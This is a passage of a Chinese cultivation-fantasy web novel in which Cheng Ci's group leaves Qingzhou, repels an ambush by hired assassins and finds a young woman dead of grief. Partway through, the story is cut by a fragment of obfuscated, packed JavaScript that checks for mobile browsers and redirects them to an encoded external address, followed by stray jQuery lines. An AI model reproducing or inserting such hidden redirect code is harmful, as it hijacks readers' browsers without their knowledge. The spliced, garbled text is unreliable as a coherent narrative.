断肠一向以主人的命令为第一,所以当主人要它做什么时,它一定按照命令行事。纵使主人遭到危险,也不会抽身。
悬在城墙上的玉笛感应到主人的呼唤,自行挣脱飞至半空,青光如瀑般倾泻而下,与黑炎分庭抗礼。戎香剑的凶性被压制,程辞的眼神终于恢复清明。
他当机立断,反手将剑插入地面,双手结印。
黑炎瞬间暴涨,将所有蛊虫残骸烧得干干净净。待火焰熄灭,整条长街已化作焦土,唯有戎香剑插在中央,剑身恢复了沉寂。
程笙担忧的走上前,程辞挤出一个笑,“别担心。”
江寻盯着戎香,骂道,“呸,这破剑......”
话未说完,戎香已经发出震颤,似乎很是不满。
而程笙则是盯着断肠,“就知道认死理,主人有危险了还不变通一下快来救主人,破笛子。”
话音刚落,断肠便从程辞手中飞出敲了一下程笙的头。
程笙猝不及防的被打了一下,叫出声,“哎呦。”
众人忍不住笑出声。
程笙跺了一下脚,去抓断肠,她在地上跑,断肠则是飞着躲。
一人一笛绕了几圈,程辞蹙眉看了一眼断肠,断肠立马老老实实的回到他手中。
程辞安慰道,“阿笙,我没事,断肠一向这样,不能怪它。”
晨光破晓,青州城的百姓推开家门,惊愕地发现长街已成焦土。
程辞一行人休息一晚,踏着余温尚存的石板离开,戎香剑安静地悬在腰间,剑鞘上的黑纹比往日更加深邃。
街边零星站着几个早起的商贩,他们敬畏地望着这群年轻人,窃窃私语着昨夜那场焚尽邪祟的黑炎。
转过街角时,一阵清脆的"咔嚓"声引得众人回头。
巷口处,一个总角孩童正举着半截木棍,小脸憋得通红。
他学着程辞徒手折剑的样子,狠狠攥着,最后劈开。
"我也要成为这样的人!"孩童举起断棍,眼睛亮得惊人。
程辞的脚步微微一顿。
江寻噗嗤笑出声:"小鬼,你可知他这身本事要挨多少打?"
孩童不服气地昂起头:"我不怕!"说着又捡起一根树枝比划起来,这次还像模像样地学了招"流云袖",树枝差点甩到自己脸上。
周无漾掩唇轻笑,从药箱里取出一包松子糖蹲下身:"小英雄,练武要先吃饱才行。"
孩童接过糖,突然指着程辞腰间的剑:"我能摸摸吗?"
空气瞬间凝固。戎香剑似有所感,剑鞘发出危险的嗡鸣。程辞按住剑柄,在孩童期待的目光中缓缓摇头:"此剑凶险,会伤着你。"
"那......"孩童眼珠一转,"能教我折树枝吗?就像你折剑那样!"
墨勒的机关鸟突然落在孩童肩头,吓得他哇哇大叫。
众人笑声中,程辞屈指轻弹,一道气劲掠过孩童手中的树枝——树枝断成两截,切口平整如刀削。
"等你长得比这树枝高,"程辞指了指巷口的柳树,"再来沿炣山找我。"
孩童宝贝似的捧着两截树枝跑远了。姜棠望着那个蹦蹦跳跳的背影,忽然道:"你小时候也这样?"
"我可是百年难遇的天才,从小就天资过人了。"程辞摩挲着剑柄。
姜棠哼了一声,几人嬉笑打闹着离开。
青州城一战,烈火焚尽蛊虫,戎香剑的凶名与程辞的狠绝,一夜之间传遍了整个修真界。
有人说,沿炣山程氏少主一剑焚城,是为苍生除害;也有人说,他手持邪剑,杀性太重,迟早堕入魔道。
——
三日后,云州边境。
程辞一行人策马疾行,身后是渐渐远去的青州城轮廓。
晨光微熹,山间薄雾缭绕,马蹄踏碎草叶上的露珠,溅起细碎的水光。
"听说了吗?"江寻懒洋洋地扯着缰绳,唇角挂着玩味的笑,"现在各大宗门都在传,说咱们程少主杀人如麻,连青霄宗的蚂蚁窝都没放过。"
程辞斜睨他一眼,戎香剑在腰间轻晃,剑鞘上的暗纹在晨光中若隐若现:"怎么,你怕了?"
"怕?"江寻大笑,"我巴不得他们多传点,最好说我江寻一剑劈了半个宗门!"
墨勒的机关鸟从空中落下,停在他肩头,叽叽喳喳地叫了几声。墨勒皱眉:"不太妙,前面有埋伏。"
"意料之中。"程辞冷笑,"名声大了,自然有人坐不住。"
——
山路狭窄,两侧峭壁如刀削。
众人放缓速度,警惕地观察四周。忽然,一阵破空声袭来——
"嗖!嗖!嗖!"
数十支淬毒的箭矢从岩壁缝隙中射出,直逼众人要害!
程辞戎香剑未出鞘,仅以剑鞘横扫,气劲震碎所有箭矢。姜棠长剑如雪,一剑劈开袭向程笙的暗器,冷声道:"鼠辈。"
"哈哈哈——"
一声长笑从山顶传来,一名黑袍人负手而立,面具下的眼睛泛着森冷的光:"程少主,久仰大名。"
程辞抬眸,语气淡漠:"藏头露尾,也配与我说话?"
黑袍人并不恼怒,反而笑道:"你灭青霄宗,焚蛊虫,千衍门初代宗主因你而死——如今,多少宗门对你又敬又怕?"
"敬?"程辞嗤笑,"怕是恨不得我死吧。"
"聪明。"黑袍人抚掌,"所以,有人出高价买你的命。"
话音未落,岩壁两侧骤然跃出数十名杀手,虽是藏起原来的功法,但也看得出这些人并不出自一派——显然,这是一场联合围剿!
"啧,"江寻拔剑,眼中战意沸腾,"看来咱们的名声,确实很值钱啊!"
程辞的戎香剑终于出鞘,漆黑的剑光如死神之镰,所过之处,无人能挡。
然而,敌人实在太多,且个个修为不俗,一时间竟将众人逼入险境。
"哥哥!"程笙用药粉和银针,逼退三名偷袭者,却见另一名杀手的长刀已逼近程辞后背!
电光火石间,一道金光闪过——周无漾的身影出现在程辞身后,指尖轻点,那名杀手的头颅瞬间爆裂!
"专心点。"周无漾道。
程辞勾唇:"谢了。"
战至正酣,路清野突然御剑飞过来。
"路清野?"墨勒惊讶,"你不是在后面布阵吗?"
路清野收起玉笛,微微一笑:"阵法已成,他们跑不了了。"
果然,地面骤然亮起无数阵纹,将剩余杀手尽数禁锢!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663784|171307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>黑袍人见势不妙,转身欲逃,却被程辞一剑贯穿心口!
"谁派你来的?"程辞冷声问。
黑袍人狞笑:"你......得罪的人太多了......"
"看来,咱们的麻烦才刚开始。"江寻甩了甩剑上的血,咧嘴一笑。
程辞收剑入鞘,目光望向远方:"那就让他们来。"
竹筏顺流而下,两岸青山如黛,水波荡漾着细碎的阳光。
程辞与江寻共乘一筏,戎香剑横于膝上,剑鞘上的暗纹在水光映照下流转如活物,江寻指尖环绕着竹叶。路清野和陈知南在另一筏上嬉笑斗嘴。墨勒与姜棠在一竹筏上,机关鸟时不时掠过水面,惊起一串涟漪。
程笙与周无漾的竹筏行在最后,她俯身掬起一捧清水,指尖银针在水中轻轻一点,泛起细微的灵光。
周无漾在她身后看着她,温柔的目光将她包裹。
"前面有块农田。"墨勒站在竹筏前端,眯眼望向岸边,"好像有人躺在那儿。"
众人靠岸,程笙率先跳下竹筏,快步走向田埂上那道身影——一名身穿粗布衣裳的女子静静躺在泥土与杂草之间,面容苍白,唇角却带着一丝解脱般的笑意。
程笙蹲下身,指尖轻触她的手腕,探入经脉。
片刻后,她收回手,低声道:"心脉受损,抑郁而终。"
"永生花......能救她吗?"墨勒忽然开口。
程笙望向远处连绵的青山,轻声道:"人的三魂七魄藏在五脏六腑中,内脏完整、尸体完好,魂魄才能入轮回。沿炣山的安魂术,是帮助那些魂魄不全、怨念深重或漂泊无依的孤魂引路,助其轮回。"
她抬起手,掌心浮现一朵晶莹的重瓣莲花,花蕊泛着淡淡的金光:"聚魂之术凝聚的永生花,能治愈伤病,能凝聚魂魄使其完整,也能将魂魄与□□重新联合让人死而复生却唯独救不活意念想死的人。"
"为什么?"姜棠问。
"因为永生花需要死者有求生的念头。"程笙收起莲花,目光落回女子的面容,"它能救身死之人,却救不了心死之人。"
墨勒见周围有来做农活的人,便上去喊人来询问。
那人先是惊讶随后又叹息道:"她...这姑娘的丈夫是个老实人,前些日子被城中李府的公子诬陷替罪,活活逼得悬梁自尽......官府收了银子,根本不管。她本想殉情,又怕对不起年迈的父母,就这么郁郁寡欢,还是离去了......"
程辞静静听完,戎香剑在鞘中发出低沉的嗡鸣。
田垄尽头,几间茅草屋在风中摇曳。
程辞站在篱笆外,看着程笙将一枚银钱放在那对老夫妇手中。老人枯瘦的手指颤抖着,浑浊的泪水顺着沟壑纵横的脸颊滑落。
“姑娘心善......”老妇人声音嘶哑,“我那苦命的闺女......”
程笙轻轻握住她的手:“老人家,节哀。”
江寻靠在篱笆上,嘴里叼着根草茎,目光却冷得吓人。墨勒的机关鸟落在屋顶,黑豆般的眼睛警惕地扫视四周。
“我去去就回。”程辞忽然转身。
“哥哥!”程笙急唤,却见程辞的身影已消失在田埂尽头。
周无漾按住她的肩膀:“让他去。”